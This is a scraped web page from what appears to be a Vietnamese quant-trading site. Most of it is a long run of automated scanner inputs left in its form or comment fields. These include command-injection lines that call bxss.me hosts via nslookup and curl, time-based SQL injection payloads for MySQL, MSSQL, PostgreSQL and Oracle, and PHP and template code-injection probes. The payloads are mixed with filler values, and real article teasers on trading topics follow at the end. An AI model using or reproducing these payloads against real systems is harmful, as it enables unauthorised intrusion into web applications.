|(nslookup -q=cname hitxsjrwlgpdra5fe3.bxss.me||curl hitxsjrwlgpdra5fe3.bxss.me)

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555"||sleep(27*1000)*mhpspr||"

RDFYjolf

tes****@example.com

555

`(nslookup -q=cname hitxdxeisihwx879c5.bxss.me||curl hitxdxeisihwx879c5.bxss.me)`

tes****@example.com

555

'.print(md5(31337)).'

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

RDFYjolf

tes****@example.com

555

<?php print(md5(31337));?>

tes****@example.com

555

RDFYjolf

tes****@example.com

555

;(nslookup -q=cname hitotiepdqbdxa19ce.bxss.me||curl hitotiepdqbdxa19ce.bxss.me)|(nslookup -q=cname hitotiepdqbdxa19ce.bxss.me||curl hitotiepdqbdxa19ce.bxss.me)&(nslookup -q=cname hitotiepdqbdxa19ce.bxss.me||curl hitotiepdqbdxa19ce.bxss.me)

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

'{${print(md5(31337))}}'

tes****@example.com

555

RDFYjolf

tes****@example.com

555'"

|(nslookup${IFS}-q${IFS}cname${IFS}hitfgfworjjhfc835f.bxss.me||curl${IFS}hitfgfworjjhfc835f.bxss.me)

tes****@example.com

555

RDFYjolf

tes****@example.com

555

print(md5(31337));//

tes****@example.com

555

&(nslookup${IFS}-q${IFS}cname${IFS}hitdauvuznmkl27a5a.bxss.me||curl${IFS}hitdauvuznmkl27a5a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdauvuznmkl27a5a.bxss.me||curl${IFS}hitdauvuznmkl27a5a.bxss.me)&`'

tes****@example.com

555

RDFYjolf

tes****@example.com

555

{php}print(md5(31337));{/php}

tes****@example.com

555

RDFYjolf

tes****@example.com

@@mYym7

RDFYjolf

'"()

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

[php]print(md5(31337));[/php]

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

(select 198766*667891)

RDFYjolf

tes****@example.com'&&sleep(27*1000)*rlakzl&&'

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

(select 198766*667891 from DUAL)

RDFYjolf

tes****@example.com"&&sleep(27*1000)*xqliit&&"

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com'||sleep(27*1000)*spjgla||'

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com"||sleep(27*1000)*eppnon||"

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

if(now()=sysdate(),sleep(15),0)

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

'"()

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf'&&sleep(27*1000)*cppyic&&'

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

RDFYjolf

tes****@example.com

555

RDFYjolf"&&sleep(27*1000)*guchhl&&"

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf'||sleep(27*1000)*qhxlce||'

tes****@example.com

555

RDFYjolf

tes****@example.com0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf"||sleep(27*1000)*xwfxmw||"

tes****@example.com

555

RDFYjolf

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com-1 waitfor delay '0:0:15' --

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.coma6WYo0GL'; waitfor delay '0:0:15' --

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.comknEXpXot' OR 373=(SELECT 373 FROM PG_SLEEP(15))--

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.comygxj8tmD') OR 550=(SELECT 550 FROM PG_SLEEP(15))--

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.comihx3TE2o')) OR 722=(SELECT 722 FROM PG_SLEEP(15))--

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

RDFYjolf

tes****@example.com

555

RDFYjolf

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com'"

555

RDFYjolf

@

555

RDFYjolf

(select 198766*667891)

555

RDFYjolf

(select 198766*667891 from DUAL)

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

if(now()=sysdate(),sleep(15),0)

tes****@example.com

555

RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

tes****@example.com

555

RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

tes****@example.com

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

tes****@example.com

555

RDFYjolf-1 waitfor delay '0:0:15' --

tes****@example.com

555

RDFYjolf5z6cSUDZ'; waitfor delay '0:0:15' --

tes****@example.com

555

RDFYjolfA6PPk5np' OR 796=(SELECT 796 FROM PG_SLEEP(15))--

tes****@example.com

555

RDFYjolf7i2RZtTc') OR 731=(SELECT 731 FROM PG_SLEEP(15))--

tes****@example.com

555

RDFYjolfQ1CuVqwv')) OR 885=(SELECT 885 FROM PG_SLEEP(15))--

tes****@example.com

555

RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

tes****@example.com

555

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf'"

tes****@example.com

555

@@ORxhK

tes****@example.com

555

(select 198766*667891)

tes****@example.com

555

(select 198766*667891 from DUAL)

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

Đăng ký nhận tin

Nhập Email để nhận được bản tin mới nhất từ QM Capital.

Bài viết liên quan

Khả năng giải thích trong trading: Tại sao lại quan trọng?
11/04/2026
21 lượt đọc

Khả năng giải thích trong trading: Tại sao lại quan trọng? C

Khi thực hiện bất kỳ chiến lược giao dịch nào trên thị trường tài chính, một yếu tố không thể thiếu chính là khả năng giải thích (interpretability) của mô hình giao dịch. Điều này đặc biệt quan trọng trong bối cảnh môi trường biến động và khi quản lý rủi ro là yếu tố sống còn đối với các quỹ đầu tư và các trader chuyên nghiệp. Mỗi chiến lược giao dịch không chỉ cần phải hiệu quả mà còn phải dễ hiểu, có thể giải thích một cách rõ ràng tại sao tín hiệu mua/bán lại được đưa ra trong một tình huống cụ thể.

Vectorized backtesting có ích gì trong thực tế?
06/04/2026
96 lượt đọc

Vectorized backtesting có ích gì trong thực tế? C

Trong thực tế, rất nhiều ý tưởng giao dịch nghe qua đều có vẻ hợp lý. Ví dụ như mua khi giá vượt MA dài hạn, mua khi cổ phiếu breakout kèm thanh khoản tăng, hoặc đứng ngoài khi thị trường chung nằm dưới đường trung bình dài hạn. Nếu chỉ nhìn chart bằng mắt, rất dễ cảm thấy những ý tưởng như vậy “có vẻ đúng”. Vấn đề là cảm giác đó không đủ để dùng tiền thật. Với QM Capital, giá trị đầu tiên và lớn nhất của vectorized backtesting không phải là để khoe một equity curve đẹp, mà là để biến một ý tưởng mơ hồ thành một bộ quy tắc kiểm tra được.

Vì sao thực thi quan trọng hơn dự báo trong quant trading
05/04/2026
90 lượt đọc

Vì sao thực thi quan trọng hơn dự báo trong quant trading C

Khi mới học quant trading, nhiều người thường tập trung gần như toàn bộ vào phần mô hình. Họ nghĩ rằng nếu dự báo đúng hơn một chút, hoặc nếu tìm được một tín hiệu chính xác hơn phần còn lại của thị trường, thì kết quả giao dịch chắc chắn sẽ tốt. Cách nghĩ này không sai hoàn toàn, nhưng mới đúng một nửa. Trong giao dịch thực tế, dự báo chỉ là điểm bắt đầu. Sau đó còn một bước quan trọng hơn nhiều: biến tín hiệu đó thành vị thế thật, giao dịch thật, lợi nhuận thật.

Overfitting là “kẻ thù số 1” trong quant trading
02/04/2026
147 lượt đọc

Overfitting là “kẻ thù số 1” trong quant trading C

Nếu phải chọn một rủi ro làm hỏng nhiều chiến lược định lượng nhất, thì đó thường không phải là thiếu mô hình hiện đại, mà là overfitting. Nói đơn giản, overfitting xảy ra khi mô hình học quá kỹ dữ liệu quá khứ đến mức nó không chỉ học tín hiệu thật, mà còn học luôn cả nhiễu. Khi nhìn lại lịch sử, mọi thứ trông rất đẹp: độ chính xác cao, equity curve mượt, drawdown dễ chịu, Sharpe ratio hấp dẫn. Nhưng đến khi đem sang giai đoạn mới, hoặc live trading, mô hình bắt đầu hỏng rất nhanh.

Vì sao các quỹ quant lớn vẫn kiếm tiền bằng những mô hình rất đơn giản?
31/03/2026
264 lượt đọc

Vì sao các quỹ quant lớn vẫn kiếm tiền bằng những mô hình rất đơn giản? C

Có một hiểu lầm rất phổ biến khi mới bước vào quant trading: cứ nghe đến “quant” là nghĩ ngay đến deep learning, transformers, reinforcement learning, foundation models, hay ít nhất cũng phải có một thứ gì đó đủ phức tạp để nghe giống phòng lab hơn là bàn giao dịch. Nhưng nếu nhìn vào cách nhiều tổ chức thật đang vận hành, bức tranh lại bớt hào nhoáng hơn nhiều.

Ngày đáo hạn phái sinh có tạo ra một “anomaly” đủ rõ để đưa vào hệ thống giao dịch hay không?
31/03/2026
126 lượt đọc

Ngày đáo hạn phái sinh có tạo ra một “anomaly” đủ rõ để đưa vào hệ thống giao dịch hay không? C

Nếu nhìn theo kiểu tin tức, ngày đáo hạn phái sinh thường bị gắn với những cụm như rung lắc, kéo trụ, ép ATC. Nhưng với quant trading, cách hỏi như vậy vẫn còn cảm tính. Câu hỏi đúng hơn là: ngày đáo hạn có tạo ra một mẫu biến động lặp lại, đủ ổn định, đủ rõ, để mình đưa vào bộ lọc của hệ thống hay không. Đây là một câu hỏi rất hợp với thị trường Việt Nam, vì hợp đồng tương lai VN30 có lịch đáo hạn cố định vào thứ Năm lần thứ ba của tháng đáo hạn, nên bản thân nó đã là một event định kỳ, rất phù hợp để làm event study. Ngoài ra, hợp đồng VN30 hiện có hệ số nhân 100.000 đồng mỗi điểm chỉ số, nên đây không phải một sản phẩm quá nhỏ để bỏ qua khi nhìn hành vi của nhóm cổ phiếu trụ.

video-image

Truy Cập Miễn Phí Thư Viện Bot Tín Hiệu Giao Dịch Tự Động

Được nghiên cứu và phát triển bởi các chuyên gia từ QMTrade và cộng đồng nhà đầu tư chuyên nghiệp.

Truy cập ngay!